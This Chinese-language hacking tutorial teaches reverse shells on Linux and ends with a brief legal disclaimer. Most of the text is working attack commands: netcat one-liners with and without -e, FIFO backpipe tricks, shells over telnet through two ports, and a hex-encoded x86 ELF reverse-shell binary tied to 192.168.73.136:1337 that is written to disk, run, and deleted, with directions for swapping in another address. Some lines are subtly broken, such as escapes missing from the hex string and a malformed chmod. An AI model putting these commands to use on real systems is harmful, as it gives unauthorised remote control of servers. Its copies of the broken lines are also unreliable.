Hacker必备技能-反向shell进阶
“这是一篇对于实战很有用的文章,因为实战不比靶场环境,会有各种运维人员和其他维护者设置的障碍,就算找到漏洞,拿到shell也不是那么轻松,本文将介绍一些在linux上的应对之法,帮助你更好的hacker。
01-文章背景
在正常的渗透测试过程中,很多工具的定义是死的,但用法是灵活多变的,这完全取决于你的创造力!我个人认为hacker精神最核心的就是创造力,你的上限完全取决于你的想象。
我希望这篇文章能对你有所启示,不居于传统思想约束。
不扯蛋了,上才艺吧,众所周知,linux系统是服务器首选的系统,所以我们在日常渗透测试众遇到最多的也是基于linux的各种发行版,他们都有一个特点就是会内置一个网络工具netcat,这玩意不得了,功能十分强大,被称为安全界的瑞士军刀,确实好用!
02-得到启示
正常情况下,我们会在有漏洞的服务器执行这样的命令:
代码语言:javascript复制Nc -e /bin/bash <接受shell的ip> <端口>
攻击机:
代码语言:javascript复制NC -nlvp <端口>
至此我们将获得一个很nice的shell,shell的权限取决于执行nc的权限。
但是如果 -e 参数不可以用了,你将怎么办?
当然,你也可以用其他语言,其他工具,或直接用bash命令来反弹shell,现在我要你继续用nc,并且-e 参数不可用了,你该怎么来反弹这个nice的shell昵?
当然这里还是参考一下不同版本的一些用法:
代码语言:javascript复制rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc -c /bin/sh attackerip 4444
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/
接下来才是整篇文章的重点,也是我们探讨nc的新的用法技巧!以及一些延申创新。
03-backpipe命令的秘密
1.netcat无法使用-e参数)
代码语言:javascript复制mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
监听,获得shell
解释一下,这里创建一个FIFO文件系统对象,并将其用作反向管道,以将标准输出从netcat传递到/bin /bash的命令中继回netcat。
2. 没有netcat,且无法使用/dec/tcp
代码语言:javascript复制mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
监听,获得shell
这里,我们仅用telnet 就替代了netcat,是不是很nice!
04-telnet的秘密
1.利用telnet到telnet反弹shell:
是不是听起来很绕?让我们来看看具体怎么用!
代码语言:javascript复制telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>
这里需要用到两台机器:
一台监听4444 这台为发送执行命令的机器
一台监听8888 这台为接收命令执行回显结果信息的机器
开始反弹shell
两台机都打开了会话
注意:这里一台监听端口为4444机器发送命令,回显却在另一台监听端口8888主机上,是不是很神奇?但通过对命令结构的剖析,也十分十分合理!
如果想继续开发新的姿势,请自行研究。
05-最后的彩蛋
最后再送一个彩蛋:
直接在机器码中写反向shell,并以16进制形式写入
直接看命令
代码语言:javascript复制echo -e "x7Fx45x4Cx46x01x01x01x00x00x00x00x00x00x00x00x00x02x00x03x00x01x00x00x00x60x80x04x08x34x00x00x00xBCx00x00x00x00x00x00x00x34x00x20x00x01x00x28x00x03x00x02x00x01x00x00x00x00x00x00x00x00x80x04x08x00x80x04x08xAAx00x00x00xAAx00x00x00x05x00x00x00x00x10x00x00x00x00x00x00x00x00x00x00x00x00x00x00x6Ax66x58x6Ax01x5Bx31xD2x52x53x6Ax02x89xE1xCDx80x92xB0x66x68xc0xa8x49x88x66x68x05x39x43x66x53x89xE1x6Ax10x51x52x89xE1x43xCDx80x6Ax02x59x87xDAxB0x3FxCDx80x49x79xF9xB0x0Bx41x89xCAx52x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3xCDx80x00x2Ex73x68x73x74x72x74x61x62x00x2Ex74x65x78x74x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0Bx00x00x00x01x00x00x00x06x00x00x00x60x80x04x08x60x00x00x00x4Ax00x00x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x00x00x01x00x00x00x03x00x00x00x00x00x00x00x00x00x00x00xAAx00x00x00x11x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00" > c; chmod x c;./c & rm c
这里我连接的地址是192.168.73.136 对应16进制的机器码为xc0xa8x49x88,端口为1337
演示:
获得shell
拿去用的时候,直接修改相应的ip和端口的16进制机器码就行,不懂得先去看看什么是计算机小端序和大端序,就欧克了
注意这里机器码的排序受计算机体系架构的影响,并不是所有linux都能运行成功的。
请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!